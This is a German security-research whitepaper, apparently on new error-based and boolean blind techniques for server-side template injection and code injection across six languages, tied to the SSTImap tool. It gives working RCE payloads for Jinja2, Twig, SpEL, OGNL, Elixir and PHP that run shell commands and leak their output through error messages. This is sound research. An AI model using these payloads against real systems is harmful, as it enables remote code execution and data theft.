
Whitepaper, das fehlerbasierte und boolesche fehlerbasierte Blind-Techniken für SSTI und Code Injection vorstellt, mit universellen Payloads für sechs Programmiersprachen und Integration in SSTImap.
[!NOTE] Dies ist die zweite Version des Whitepapers auf Basis der Ergebnisse, die ich vor der Veröffentlichung von SSTImap Version 1.3.1 vorgestellt habe. Weitere Verbesserungen werden zu einem späteren Zeitpunkt als Version 1.2 der Forschung an dieses Format angepasst.
Einige Kategorien von Schwachstellen erscheinen auf den ersten Blick vielleicht bekannt und etwas offensichtlich. Es könnte scheinen, dass alle möglichen Techniken für diese Schwachstellen bekannt sind, sodass nur noch Payloads für ungewöhnliche Fälle entdeckt werden könnten. Server-Side Template Injection (SSTI) und Code Injection werden oft als diese bekannten Kategorien betrachtet.
Manchmal werden neue Techniken mit selbsterklärenden Namen für diese Schwachstellen angetroffen. Viele Forscher könnten diese Techniken ebenfalls als bekannt betrachten oder sich sogar erinnern, sie verwendet zu haben, aber in Wirklichkeit existiert die Technik möglicherweise nur als allgemein verstandener Name ohne Forschung, Beschreibungen oder universelle Payloads. Sie wird vielleicht ein paar Mal zusammen mit Payloads für sehr spezifische Fälle erwähnt, aber nicht systematisch getestet, und das wahre Potenzial dieser Technik könnte jahrelang unentdeckt bleiben.
Diese Forschung stellt zwei solcher Techniken für Code Injection und SSTI vor: Error-Based (fehlerbasiert) und Boolean Error-Based Blind (boolesch fehlerbasiert blind). Ich werde Payloads für Code Injection und SSTI in sechs Programmiersprachen bereitstellen: Python, PHP, Java, Ruby, NodeJS und Elixir. Darüber hinaus werde ich universelle Erkennungs-Payloads bereitstellen, die in der Lage sind, selbst blinde Injektionen schnell zu erkennen.
Ich werde den vollständigen Zeitplan meiner Forschung darlegen, vom Finden der ersten Hinweise bis zu den endgültigen Schlussfolgerungen. Ich werde auch den Prozess der Erstellung neuer Payloads für Programmiersprachen und Templates untersuchen, die in dieser Forschung nicht erwähnt werden.
In dieser Forschung werde ich Beispiele für praktische Anwendungen der neuen Techniken zeigen und potenzielle Bereiche für weitere Forschung teilen. Alle bereitgestellten Payloads können verwendet werden, um Schwachstellen in realen Anwendungen zu erkennen und auszunutzen. Zusätzlich wurden alle bereitgestellten Payloads zum Open-Source-Tool SSTImap hinzugefügt, was die Anwendung der Ergebnisse dieser Forschung auf reale Ziele erleichtert.
Server-Side Template Injection-Schwachstellen treten auf dynamischen Websites auf, die Template-Engines für serverseitiges Rendering verwenden, wenn die nicht vertrauenswürdige Benutzereingabe in das Template eingefügt wird, bevor es von der Template-Engine verarbeitet wird. Ein böswilliger Akteur kann gültige Template-Syntax einfügen, die während des Seiten-Renderings von einer Template-Engine verarbeitet wird. Viele Template-Engines bieten eine Form von Code-Ausführungsfunktionalität, was oft zu Remote Code Execution (RCE) auf dem Zielserver führt. Diese Forschung konzentriert sich auf Template-Engines, die im Falle einer Ausnutzung solche Fähigkeiten bereitstellen.
SSTI-Schwachstellen sind seit 2015 bekannt, und in dieser Zeit wurden viele Payloads entdeckt, die Informationsdiebstahl, Filterumgehungen und Sandbox-Escape ermöglichen. Trotzdem geben die meisten Payloads entweder das Ergebnis direkt auf der Seite aus oder konzentrieren sich auf die Tatsache der Code-Ausführung selbst, ohne die von diesem Code produzierten Ergebnisse zu berücksichtigen.

Eine weitere bekannte SSTI-Technik ist die Time-Based Blind (zeitbasierte blinde), bei der eine Verzögerung zum ausgeführten Shell-Befehl hinzugefügt wird. Diese Technik erlaubt es, den Erfolg der injizierten Code-Ausführung zu bestimmen, erfordert jedoch das Erraten des Payloads für die OS-Befehlsausführung, was es schwieriger macht, blinde SSTI in einer dem Forscher unbekannten Template-Engine zu erkennen.

Die SSTI-Schwachstellenklasse und beide bekannten Ausnutzungstechniken wurden 2015 von James Kettle entdeckt. Diese Techniken werden in seiner Forschung "Server-Side Template Injection: RCE For The Modern Web App" detailliert beschrieben. [^1] In den zehn Jahren seitdem wurden keine neuen Ausnutzungstechniken dokumentiert. Nur eine Erkennungstechnik wurde 2023 entdeckt, die Polyglot-Payloads verwendet, um mehrere Template-Engines auf einmal zu testen. Diese Technik wurde von Maximilian Hildebrand entdeckt und in seiner Forschung "Improving the Detection and Identification of Template Engines for Large-Scale Template Injection Scanning" beschrieben. [^2] Die Technik konzentriert sich darauf, die Template-Engines mit einer minimalen Anzahl von Anfragen zu bestimmen, funktioniert aber nur für einfache Injektionskontexte.

Die meisten Template-Engines, die auf interpretierten Programmiersprachen wie PHP, NodeJS und Python basieren, erlauben direkt die Auswertung von Ausdrücken der entsprechenden Programmiersprachen. Diese Fähigkeit erlaubt es uns, Payloads für eine breitere Kategorie von Code-Injection-Schwachstellen zu verwenden, indem wir sie in das korrekte Format des Template-Tags einwickeln.
Code Injection kann auch ohne SSTI auftreten, wenn nicht vertrauenswürdige Benutzereingaben an eval() oder eine ähnliche gefährliche Funktion gelangen.
Es wird oft angenommen, dass die Ausnutzung von Code Injection nur das Programmieren in der entsprechenden Sprache ist,
daher werden Techniken und Payloads nur für spezifische Schwachstellenbeispiele dokumentiert, die eine Anpassung des Codes an die Zielanwendung erfordern.
Das Fehlen allgemeinerer Erkennungstechniken für Code Injection und SSTI führt zur Ineffizienz von Black-Box-Scans für blinde Code- und Template-Injektionen.
In dieser Forschung werden zwei neue Techniken für Code Injection und SSTI sowie Payloads für sechs Programmiersprachen und generische Erkennungs-Payloads bereitgestellt. Die bereitgestellten Techniken erweitern die Fähigkeiten der blinden SSTI-Ausnutzung und ermöglichen gleichzeitig das Scannen von blinden Code-Injection und SSTI, ohne die Programmiersprache des injizierten Codes erraten zu müssen.
Die in dieser Forschung bereitgestellten Payloads zielen auf das praktische Penetrationstesten von realen Webanwendungen ab. Alle vorgestellten Payloads sind auch in Module des Open-Source-Tools zur Erkennung von SSTI und Code-Injection namens SSTImap integriert. [^3] Die Unterstützung für zwei neue Techniken sowie die entsprechenden Payloads wurden in Version 1.3.0 hinzugefügt. Weniger allgemeine und spezifischere Payloads für die praktische Anwendung der neuen Techniken, die in dieser Forschung bereitgestellt werden, sind in zusätzliche SSTImap-Module integriert, die in einem dedizierten Repository für "extra" Module zu finden sind. [^4]
Während der Entwicklung von Payloads für SSTImap-Module stieß ich auf Einschränkungen und Entdeckungen, die als Hinweise zu den in dieser Forschung vorgestellten Techniken dienten. Ich traf auf verschiedene SSTI- und Code-Injection-Szenarien, bei denen es mit bestehenden Techniken unmöglich war, die Ausgabe des injizierten Codes zu erhalten. Während ich auf solche Einschränkungen stieß, testete ich verschiedene Ideen, um die Ausgabe zu erhalten, was schließlich zur Entdeckung der beiden in dieser Forschung dokumentierten neuen Techniken führte.
Der erste Hinweis auf potenzielle Einschränkungen wurde beim Aktualisieren von Payloads für die Dust.JS-Template-Engine gefunden. Diese Engine gilt als veraltet und scheint aufgegeben, während Code-Ausführung nur mit alten Versionen von dustjs-helpers aus dem Jahr 2015 möglich war. Das SSTImap-Modul für diese Engine wurde von der Tplmap [^5]-Codebasis übernommen, und seine Verbesserung hatte niedrige Priorität, aber das Modul verursachte viele False Positives im Fall einfacher, logiklosen Template-Engines.

Um das Problem zu beheben, verbesserte ich den Payload, aber die Template-Engine und die Payloads dafür erregten meine Aufmerksamkeit.
Code-Injection war innerhalb der Bedingung des if-Blocks möglich, die direkt an eval() übergeben wurde. [^6]
Das Ergebnis wurde nicht auf der Seite angezeigt, sodass davon ausgegangen wurde, dass RCE selbst bei reflektierter SSTI immer blind sein würde.

Zu diesem Zeitpunkt hatte die Erforschung einer veralteten Template-Engine, um einen neuen Payload zu erstellen, sehr niedrige Priorität, also entschied ich mich, nicht nach potenziellen Wegen zur Ausgabe zu suchen.
Den zweiten Hinweis fand ich bei der Entwicklung von Payloads für neue Versionen der Twig-Template-Engine. Payloads für frühe Versionen waren bereits repariert, also entschied ich mich, ein neues Modul mit aktualisierten Payloads zu erstellen. Bei meiner Suche nach moderneren Methoden zur Ausnutzung von Twig entdeckte ich CVE-2022-23614, das einen Sandbox-Escape mit einem der gängigen Payloads für moderne Versionen erlaubt. [^7]
Für das neue SSTImap-Modul entschied ich mich für einen Payload, der diesen Sandbox-Escape ausnutzen kann, da er auch für fast alle Twig-Versionen funktionierte, die mit modernen Payloads ausnutzbar waren.
Der Sandbox-Escape war möglich, indem man einen String mit einem PHP-Funktionsnamen als Parameter an den Filter |sort übergab,
was dazu führte, dass das Template diese Funktion mit zwei Array-Elementen als Argumente aufrief.
Ähnlich wie im Fall von Dust.JS wird die Ausgabe der Funktion intern als Bedingung (diesmal zum Sortieren des Arrays) verwendet, sodass sie nicht an den Template-Kontext zurückgegeben wird.
Diese Einschränkung behindert die Ausnutzung nicht, da die Funktion system() in PHP die Ergebnisse der OS-Befehlsausführung direkt auf der Webseite ausgibt, was es uns ermöglicht, die Ausgabe unter Umgehung der Template-Engine zu erhalten.
Ich wurde neugierig auf die Möglichkeit, die Ausgabe innerhalb der Template-Engine zu erhalten, zur potenziellen Anwendung als Teil einer Umgehung oder einer neuen SSTI-Ausnutzungstechnik. Es war nicht notwendig, ein neues Modul für Twig zu erstellen, also beschloss ich, keine Zeit für die Entwicklung neuer Payloads für den Zugriff auf Injektionsergebnisse innerhalb des Templates aufzuwenden.

Die Schwachstelle CVE-2025-1302 im Node.JS-Modul JSONPath Plus vor Version 10.3.0 erlaubt die Injektion von beliebigem JavaScript-Code durch Zugriff auf den Funktionskonstruktor innerhalb der erweiterten Bedingungssyntax für jsonpath. [^8] Ich entschied mich, ein neues Extra-SSTImap-Modul zur automatischen Erkennung und Ausnutzung von CVE-2025-1302 im Falle einer serverseitigen jsonpath-Injektion zu erstellen.

Ähnlich wie bei Dust.JS war Code-Injection nur innerhalb der Bedingung möglich, sodass es keinen direkten Weg gab, die Ausgabe zu erhalten und auf der Seite darzustellen. Trotzdem entschied ich mich, die Möglichkeit der Extraktion der Ausgabe zu erforschen, was mich schließlich zum dritten Hinweis führte, der auf das Potenzial hinwies, das letztendlich die in dieser Forschung diskutierten Entdeckungen verursachte.
Das Modul JSONPath Plus wird verwendet, um auf Daten in JSON-Objekten zuzugreifen.
In vielen interpretierten Programmiersprachen wie JavaScript arbeiten diese Objekte oft implizit als Zeiger, um den Ressourcenverbrauch zu begrenzen.
Gleichzeitig erlaubt das Modul JSONPath Plus den Zugriff auf das Objekt, das durchsucht wird, mithilfe der @root-Syntax.
Ich fand einen Weg, dieses Objekt in den injizierten Code innerhalb der Bedingung zu übergeben, was es erlaubte, die Ausgabe in Objektattributen zu speichern und dann mit injizierter jsonpath-Syntax darauf zuzugreifen.
Diese Methode ist weit davon entfernt, eine universelle Methode zum Zugriff auf die Ausgabe zu sein, da sie die ausnutzbaren Injektionskontexte für reflektierte Code-Injection-Szenarien stark einschränkt. Ich erforschte andere potenzielle Wege zur Extraktion der Ausgabe, wie z. B. Prototype Pollution, konnte aber keine universellere Technik entdecken. Trotzdem gelang es mir diesmal, die Ausgabe aus der Bedingung zu extrahieren.
Im Gegensatz zu allen vorherigen Fällen, bei denen die Einschränkungen während der Payload-Entwicklung auftraten, wurde der letzte Hinweis, der zu dieser Forschung führte, beim Erkunden einer realen Anwendung entdeckt. Ich testete einen No-Code-Bot-Konstruktor für Discord, der es Benutzern erlaubte, Nachrichtenvorlagen anzupassen. Die dafür verwendete Template-Engine wertete an sich keinen Code aus, hatte aber ein spezielles Tag zur Auswertung mathematischer Ausdrücke.
Durch die Untersuchung verschiedener Fehlermeldungen, die von diesem Tag zurückgegeben wurden, stellte ich fest, dass die Ausdrücke mit dem Node.JS-Modul namens expr-eval ausgewertet wurden.
Dieses Modul ermöglicht RCE durch Zugriff auf den Object-Konstruktor, der beliebigen Eigenschaftszugriff erlaubt (CVE-2025-13204).
Ich änderte den Payload, um die Syntax des Template-Tags nicht zu verletzen, aber anstatt der Ergebnisse der Code-Ausführung erhielt ich nur NaN.

Es scheint, dass das Ergebnis von expr-eval durch die Template-Engine in eine Zahl umgewandelt wird, was die Reflexion der Code-Ausführungsausgabe verhindert. Das Ergebnis wird jedoch nur im Falle einer erfolgreichen Auswertung in eine Zahl umgewandelt. Im Falle eines Fehlers ersetzt das Template das Tag durch den vollständigen Text eines Fehlers, der manchmal Teile meines Codes enthält.

Ich beschloss, die Möglichkeit zu untersuchen, Ergebnisse der Code-Ausführung durch diese Teile von Fehlermeldungen zu extrahieren. Es gibt eine Technik, die die Extraktion von SQL-Abfragen durch speziell ausgelöste Fehlermeldungen erlaubt. [^9] Ich nahm an, dass ähnliche Techniken für Code Injection und SSTI existieren.

Ich versuchte, nach "Error-based SSTI" und anderen potenziellen Namen für solche SSTI- und Code-Injection-Techniken zu suchen, konnte jedoch nur fehlerbasierte Polyglots aus einem einzigen Forschungspapier von 2023 und eine Technik zur Bestimmung der Template-Engine durch Betrachten der Fehlermeldung finden. Das einzige Ergebnis, das auch nur annähernd dem ähnelte, wonach ich suchte, war ein einzelner Payload für Freemarker-Templates, erstellt vom Forscher Nicolas Verdier. [^10]

Dieser Payload erlaubte es, den Erfolg der Code-Ausführung im Falle einer blinden Injektion durch bedingtes Auslösen eines Fehlers zu bestimmen. Eine ähnliche Technik existiert für SQL-Injection, was meine Annahme bestätigte, dass ähnliche Techniken für Code Injection und SSTI funktionieren könnten.
Mir wurde klar, dass die Technik, die ich suchte, zuvor nicht dokumentiert war, also beschloss ich, diese Forschung durchzuführen, um die erforderlichen Payloads zu entwickeln. Darüber hinaus beschloss ich, diese Technik zu meinem Open-Source-Tool SSTImap hinzuzufügen.
Ich entschied mich, Payloads zu entwickeln, die es uns erlauben, Fehler auszulösen, die das Ergebnis der Code-Ausführung als Teil der Fehlermeldung enthalten.
Eine ähnliche Technik existiert bereits für SQL-Injections.
Zum Beispiel konvertiert CONVERT(INT, …) in SQL einen String in eine Zahl.
Wenn der String keine gültige Zahl darstellt, gibt die Datenbank einen Fehlertext zurück, der diesen String enthält.
Wenn diese Fehlermeldung dem Benutzer angezeigt wird, können wir die Ausgabe selbst aus ansonsten blinden Injektionen erhalten.
Ein ähnlicher Ansatz kann für SSTI und Code Injection verwendet werden. Einige Fehlermeldungen spiegeln benutzerbereitgestellte Daten wider, was es uns erlaubt, diese Fehler zu nutzen, um die Ausgabe des injizierten Codes zu erhalten.

Programmiersprachen erlauben es normalerweise, Fehler mit benutzerdefinierten Fehlermeldungen zu erstellen, aber es ist oft unmöglich, diese Fähigkeiten während der Schwachstellenausnutzung direkt zu nutzen. In den meisten Fällen erlaubt die Injektion nur die Auswertung von Ausdrücken, was verhindert, dass der injizierte Code Sprachkonstrukte verwendet, die zum Auslösen von Fehlern oder zum Erstellen neuer Fehlerklassen erforderlich sind. Um meine Payloads universeller für eine bessere Abdeckung zu machen, beschloss ich, mich auf Injektionen in Sprachausdruckskontexten zu konzentrieren, in denen nur grundlegende Operatoren, Literale und Funktionsaufrufe erlaubt sind.
Daher musste ich für SSTI- und Code-Injection-Ausnutzung mit dieser Technik Fehlermeldungen finden, die benutzerbereitgestellte Daten widerspiegeln. In den meisten Fällen konnten Code-Injection-Payloads verwendet werden, um SSTI auszunutzen, indem die Payloads mit Template-Tags umwickelt wurden. Im Rahmen dieser Forschung werde ich Payloads für fünf Programmiersprachen abdecken: Python, PHP, Ruby, NodeJS und Elixir, sowie für von SSTImap unterstützte Template-Engines, falls sich solche Payloads signifikant von den Payloads der entsprechenden Programmiersprache unterscheiden. Zusätzlich werden Payloads für Java-basierte Template-Engines sowie universelle Erkennungs-Payloads in diesem Papier behandelt.
Zu Beginn meiner Forschung beschloss ich, Payloads für die Programmiersprache Python zu finden, die ich häufig für meine täglichen Aufgaben verwende. Zunächst versuchte ich, das gleiche Prinzip wie bei der SQL-Injection anzuwenden, indem ich den String in eine Ganzzahl konvertierte. In diesem Fall spiegelte die Fehlermeldung tatsächlich den benutzerbereitgestellten String wider, aber ich stellte bald fest, dass große Strings abgeschnitten wurden, sodass nur die ersten 199 Zeichen reflektiert werden.

Ich entschied mich, nach anderen Fehlermeldungen zu suchen, die die Reflexion von benutzerbereitgestellten Strings beliebiger Länge erlauben.
Der Zugriff auf ein nicht vorhandenes Attribut mit der Funktion getattr() erwies sich als geeignet, um einen solchen Fehler auszulösen.
Als Ergebnis erhielt ich getattr("", OUTPUT) als Payload, der den String OUTPUT ohne Längenbeschränkungen reflektiert.

Dieser Payload funktioniert für alle getesteten Python-basierten Template-Engines, obwohl Jinja2 einige Modifikationen erforderte, um die Python-Funktion getattr() aufzurufen:```python3
{{ cycler.init.globals.builtins.getattr("", OUTPUT) }}
Zusätzlich habe ich für die Jinja2-Template-Engine eine weitere Payload entdeckt, die den *TemplateNotFound*-Fehler auslöst: `{% include OUTPUT %}`. Diese Payload wurde dem alten Jinja2-Modul für SSTImap hinzugefügt.

### PHP
Für die fehlerbasierte Ausnutzung von PHP-Code-Injection habe ich mehrere Fehlermeldungen entdeckt, die unterschiedliche Anwendbarkeit für verschiedene Template-Engines hatten.
Zum Beispiel erlaubt PHP, einen String als Funktion mit dem Namen gleich dem String-Inhalt aufzurufen.
Wenn eine solche Funktion nicht existiert, enthält die erzeugte Fehlermeldung den gesamten übergebenen String.
Als Ergebnis erhalten wir eine einfache Payload: `OUTPUT()`
Diese Payload funktioniert in den meisten Template-Engines nicht, also habe ich meine Forschung fortgesetzt und den Fehler entdeckt, der durch den Versuch, nicht existierende Dateien mit der Funktion `fopen()` zu öffnen, ausgelöst wird.
Diese Payload funktioniert in fast allen getesteten Template-Engines: `fopen(OUTPUT, "r")`
Zusätzlich habe ich die Funktion `include()` gefunden, die einen ähnlichen Fehler auslöst.
Die Payload `include(OUTPUT)` oder eine ähnliche könnte in den meisten Template-Engines verwendet werden, die Vorlagenvererbung unterstützen.
Payloads mit `fopen()` und `include()` scheiterten in einigen Fällen.
Es stellte sich heraus, dass diese Funktionen PHP-**Warnungen** verursachen, die innerhalb der Template-Ausgabe gerendert werden könnten, auf die wir keinen Zugriff haben.
Ich entschied mich, die erste Payload mit `call_user_func()` zu modifizieren, um einen String als Funktion aufzurufen, ohne PHP-spezifische Syntax zu verwenden.
Als Ergebnis erhielt ich die Payload: `call_user_func(OUTPUT)`, die einen **fatalen Fehler** auslöst, das Rendern unterbricht und die Fehlermeldung direkt auf der Seite anzeigt.

Häufig für RCE verwendet, gibt die Funktion `system()` die Ausgabe auf der Seite aus, gibt aber nur die erste Zeile des Ergebnisses zurück.
Um die vollständige Ausgabe zu erfassen, entschied ich mich, `shell_exec()` zu verwenden.
Diese Funktion akzeptiert genau ein Argument, daher funktionierte sie gut für die meisten Template-Engines, einschließlich alter Versionen von **Twig**:```php
{{_self.env.registerUndefinedFilterCallback("shell_exec")}}
{%set OUTPUT=_self.env.getFilter("ls -la")%}
Für neuere Twig-Versionen habe ich den |map-Filter verwendet, um die Ausgabe zu erhalten, aber er übergab den Array-Index als zweites Element, was die direkte Verwendung der shell_exec()-Funktion unmöglich machte.
Um diese Einschränkung zu umgehen, habe ich die call_user_func()-Funktion verwendet, um shell_exec() aufzurufen, und ein Wörterbuch anstelle eines Arrays, um die Indexwerte zu kontrollieren:```php
{% set OUTPUT={"ls -la": "shell_exec"}|map("call_user_func")|join %}
Um den Fehler in Twig auszulösen und die Ausführungsergebnisse zu erhalten, können wir den **fatal error**-Payload verwenden, der die nicht vorhandene Funktion auslöst: `{{ [0]|map(OUTPUT) }}` oder die nicht vorhandene Datei einbindet: `{% include(OUTPUT) %}`

### Java
Java bietet keine universelle integrierte Code-Auswertungsfunktion, daher gibt es keine universellen Payloads für Java.
Stattdessen werden Ausdruckssprachen wie die **Spring Expression Language** (**SpEL**) verwendet.
Für diese Sprache ist es möglich, einen einfachen Trick zum Konvertieren einer Zeichenkette in eine Zahl zu nutzen:```java
"".getClass().forName('java.lang.Integer').valueOf(OUTPUT)
Dieser Payload wird auch für andere ähnliche Ausdruckssprachen funktionieren.
Um die SpEL-Syntax zu überprüfen, können wir die SpEL-spezifische Methode zum Zugriff auf Klassen verwenden: T(java.lang.Integer).valueOf(OUTPUT)
Um die Ergebnisse der OS-Befehlsausführung als Zeichenkette zu erhalten, können wir den folgenden Payload verwenden:```java T(java.lang.String).getConstructor(T(byte[])).newInstance(T(java.lang.Runtime).getRuntime().exec("…").inputStream.readAllBytes())

Eine weitere verbreitete Ausdruckssprache in Java ist **OGNL**.
Diese Sprache löst einen Fehler aus, der eine benutzereingegebene Zeichenfolge enthält, wenn diese Zeichenfolge in einer arithmetischen Operation verwendet wird: `OUTPUT/0`
RCE-Ergebnis könnte mit diesem Payload in eine Zeichenfolge umgewandelt werden:```java
new String(@java.lang.Runtime@getRuntime().exec("…").inputStream.readAllBytes())
Ich habe auch Payloads für zwei auf Java basierende Template-Engines erstellt, die von SSTImap unterstützt werden.
Zum Beispiel erlauben Freemarker-Templates eine eingeschränkte Objekterstellung, indem der ?new()-Filter auf die Zeichenkette mit dem Namen der entsprechenden Klasse angewendet wird.
Wenn eine solche Klasse nicht existiert, wird die Fehlermeldung die gesamte Zeichenkette widerspiegeln.
Dies könnte verwendet werden, um einen einfachen Payload zu erstellen: ${ OUTPUT?new() }

Die Velocity-Template-Engine unterstützt die Einbindung von Templates mit der #include()-Direktive.
Für nicht vorhandene Templates wird die Fehlermeldung den angegebenen Namen widerspiegeln: #include(OUTPUT)

Der Payload für Ruby könnte sowohl für Code Injection als auch für SSTI verwendet werden und nutzt den Fehler, der beim Zugriff auf eine nicht vorhandene Datei ausgelöst wird, was bei dieser Technik üblich ist: File.read(OUTPUT)

Für die fehlerbasierte Code Injection in NodeJS ist es möglich, den Fehler durch Einbinden eines nicht vorhandenen Moduls mit der require()-Funktion auszulösen, falls diese im Injektionskontext zugänglich ist: require(OUTPUT)
Alternativ löst JavaScript einen reflektierenden Fehler aus, indem auf eine Eigenschaft von undefined zugegriffen wird: ""["x"][OUTPUT]
Die Programmiersprache Elixir spiegelt die Zeichenkette innerhalb einer Fehlermeldung wider, wenn diese Zeichenkette als Listenindex anstelle eines atom-Objekts verwendet wird: [1, 2][OUTPUT]
Das Ergebnis der Betriebssystembefehlsausführung könnte mit [1, 2][elem(System.shell(" … "), 0)] widergespiegelt werden.

Für die fehlerbasierte Erkennung von SSTI und Code Injection benötigen wir einen Payload, der in jeder Programmiersprache einen Fehler auslösen würde. In diesem Fall wäre es möglich, die Programmiersprache anhand einer typischen Fehlermeldung zu erkennen oder zumindest die Schlüsselwörter zu finden, die auf das Vorhandensein eines Fehlers hinweisen, falls die Programmiersprache noch nicht unterstützt wird.
Meine erste Idee für einen solchen Payload war die Division durch Null, aber einige Programmiersprachen wie JavaScript behandeln einen solchen Payload nicht als Fehler, sondern geben einfach NaN zurück.
Um diese Fälle zu behandeln, entschied ich mich, einen Aufruf der undefinierten Funktion hinzuzufügen: (1/0)+zxy()
Der neue Payload löste in NodeJS einen Fehler aus, aber in einigen PHP-basierten Template-Engines verursachte er unterschiedliche Syntaxfehler, was die Erkennung der Programmiersprache erschwerte.
Um eine frühzeitige Erkennung der nicht vorhandenen Funktion während der Template-Analyse zu vermeiden, entschied ich mich, den Payload zu aktualisieren, um den Fehler zu nutzen, der durch den Zugriff auf die Eigenschaft von undefined ausgelöst wird.
Der Attributzugriff erfordert die Auswertung des ersten Teils, während bei der Zeichenkettenverkettung in PHP alle Teile zur Laufzeit beginnend mit der Division durch Null ausgewertet werden.
Als Ergebnis erstellte ich einen Payload, der in der Lage ist, ausführliche Fehlermeldungsreflexionen bei generischen Injektionen zu erkennen: (1/0).zxy.zxy
Für das SSTImap-Modul habe ich die Erkennung typischer Fehlermeldungen für alle fünf unterstützten Programmiersprachen sowie eine Schlüsselwortsuche hinzugefügt, um den Fehlertyp zu erkennen, falls die Programmiersprache oder Template-Engine noch nicht unterstützt wird.

Nachdem wir eine ausführliche Fehlerreflexion erkannt und die Programmiersprache anhand des Fehlertextes bestimmt haben, müssen wir dennoch eine Fehlermeldung finden, die den vom Benutzer bereitgestellten Wert widerspiegelt, um Payloads für die fehlerbasierte RCE zu erstellen.
Normalerweise können solche Fehler beim Zugriff auf nicht vorhandene Dateien und Module, bei ungewöhnlichen Interaktionen mit speziellen Objekten wie null oder undefined sowie bei nicht vorhandenen Funktionen, Klassen oder Attributen ausgelöst werden.
Im Gegensatz dazu bieten Syntaxfehler keine Datenexfiltration, da sie die Template-Analyse unterbrechen, bevor eine injizierte Code-Auswertung stattfinden kann.
Für eine erfolgreiche automatisierte Ausnutzung sollten Sie sicherstellen, dass lange und mehrzeilige Texte nicht abgeschnitten werden.
Darüber hinaus ist es wichtig, Situationen zu vermeiden, in denen das Ergebnis etwas Gültigem entsprechen würde, das keinen Fehler auslöst.
In diesen Fällen sollte ein Präfix hinzugefügt werden, das jede Ausgabe ungültig macht.
Zum Beispiel ist es sehr unwahrscheinlich, dass die Zielwebsite Dateien, Klassen oder Attribute hat, die mit Y:/A:/ beginnen.
Die meisten modernen Webserver und Anwendungen deaktivieren die ausführliche Fehlerausgabe, was die Ausnutzung von fehlerbasierter Code Injection und SSTI verhindert. Der vollständige Text einer Fehlermeldung ist in solchen Fällen nicht zu erhalten, aber der Fehler selbst kann in der Regel dennoch erkannt werden. Dies ermöglicht es uns, den Erfolg der blinden Injektion durch die Erkennung eines bedingt ausgelösten Fehlers zu bestimmen.

Tatsächlich können unterschiedliche Antworten das Ergebnis der blinden Injektion offenlegen.
Beispielsweise würde bei einer Boolean-Based Blind SQL Injection ein Payload wie AND SUBSTRING((…), 1, 1) = 's' nur dann Ergebnisse zurückgeben, wenn der Zielwert mit dem Zeichen s beginnt.
Diese Technik basiert auf unterschiedlichem Anwendungsverhalten in Fällen, in denen keine Ergebnisse zurückgegeben werden.
Dies ist für die meisten Fälle von Code Injection und SSTI nicht anwendbar.

Es gibt jedoch eine ähnliche Technik, die als Error-Based Blind SQL Injection bezeichnet wird, bei der der Zielwert verwendet wird, um in nur einem der Fälle bedingt einen Fehler auszulösen, während der andere nicht unterbrochen wird: CASE WHEN 1=1 THEN 1 ELSE json('') END

Eine solche Technik könnte für Code Injection und SSTI angepasst werden. Außerdem bin ich bereits zuvor auf einen Payload für diese Technik gestoßen. Das war ein Payload für die Freemarker-Template-Engine von Nicolas Verdier, der bereits in dieser Forschung erwähnt wurde. [^10]

Programmiersprachen erlauben es uns bereits, Bedingungen zu haben, die bestimmen, welcher Code ausgeführt wird. Dies kann durch die Verwendung spezieller Sprachkonstrukte oder Operatoren erreicht werden. Ähnlich wie bei der Error-Based-Technik habe ich jedoch entschieden, Sprachkonstrukte in universelleren Code-Injection-Payloads zu vermeiden, da sie in vielen Injektionskontexten nicht zugänglich sind. Ich habe auch entschieden, den ternären Konditionaloperator zu vermeiden, da solche komplexen Operatoren möglicherweise von vielen Template-Engines und anderen Injektionskontexten, die ihre eigenen Parser verwenden, nicht unterstützt werden.
Um Fehlalarme zu vermeiden, sollte der Fehler in dem Fall ausgelöst werden, in dem unsere Injektion kein gültiges Ergebnis lieferte, da es unmöglich sein könnte, Fehler, die absichtlich durch unsere Injektion ausgelöst wurden, von anderen Fehlern zu unterscheiden, die der Payload möglicherweise verursacht hat.
Um das Testen auf Boolean Error-Based Blind Code Injection und SSTI zu automatisieren, benötigen wir eine Möglichkeit, Fehler in Serverantworten zu erkennen. Benutzer könnten reguläre Ausdrücke bereitstellen, um normale oder Fehlerseiten zu erkennen, aber wir könnten auch versuchen, die Fehler durch Vergleich des Antwortcodes und der Länge, Header und anderer Parameter mit den entsprechenden Parametern der regulären Antwort zu erkennen.
Unabhängig vom gewählten Ansatz müssten wir zwei Paare ähnlicher Payloads verwenden. Minimale Unterschiede zwischen den Payloads in jedem Paar würden Fehlalarme vermeiden, die durch Fehler von WAF oder Proxys verursacht werden, während die Verwendung von zwei Paaren Fehlalarme durch zufällige externe Probleme abmildern würde.
Um die reguläre Antwort der Anwendung zu bestimmen, habe ich mich entschieden, numerische Payloads zu verwenden, um Syntaxfehler in den meisten Injektionskontexten zu vermeiden. Mehrere Antworten werden verglichen, um die stabilsten Parameter der Anwendungsantwort zu bestimmen. Die erste Anfrage wird verworfen, um Störungen durch Aktionen zu vermeiden, die eine Anwendung während der ersten Verbindung von einer neuen IP-Adresse durchführen könnte.
Für den Anfragevergleich wurden mehrere Parameter ausgewählt:
Parameter gelten als stabil, wenn sie für alle Antworten gleich bleiben oder wenn sie innerhalb von 5% um den Durchschnitt schwanken (bei numerischen Werten).

Um die Wahrheit der Injektionsergebnisse zu bestimmen, könnten wir die Division durch einen Boolean-Wert verwenden.
Ein wahrer Wert würde zu Eins konvertiert, was keinen Fehler auslöst, während Werte, die zu False ausgewertet werden, einen Nullteilungsfehler auslösen würden.
Wir könnten diesen Ausdruck als unseren Payload verwenden: 1 / ( OUTPUT )
Um die Injektion zu erkennen, könnten diese beiden Payload-Paare verwendet werden:
'a'.join('bc') == 'bac' und 'a'.join('bc') == 'abc'bool('False') == True und bool('True') == FalseCodeausführung ist möglich durch Verwendung von bool(eval( … )), während die Ausführung von Betriebssystembefehlen mit os.popen( … )._proc.wait() == 0 ab Python 3.6 überprüft werden kann.
In den meisten Python-basierten Template-Engines können diese Payloads unverändert verwendet werden, während Jinja2 keinen direkten Zugriff auf integrierte Python-Funktionen erlaubt. Infolgedessen ist der Payload für Jinja2 etwas komplexer:```python3 {{ 1 / (not not cycler.init.globals.builtins.eval( … )) }}

### PHP
PHP erlaubt auch die Verwendung von Payloads wie `1 / ( … )` um den Erfolg der Injection zu bestimmen.
Um die Injection zu erkennen, wurden diese beiden Payload-Paare ausgewählt:
- `'2' + '3' == 5` and `'2' + '5' == 3`
- `strlen('2') == 1` and `strlen('1') == 2`
Ergebnisse der Codeauswertung konnten mit `true && eval( … )` abgerufen werden, und der Rückgabecode der Betriebssystem-Befehlsausführung konnte mit `pclose(popen( … , "wb")) == 0` überprüft werden.
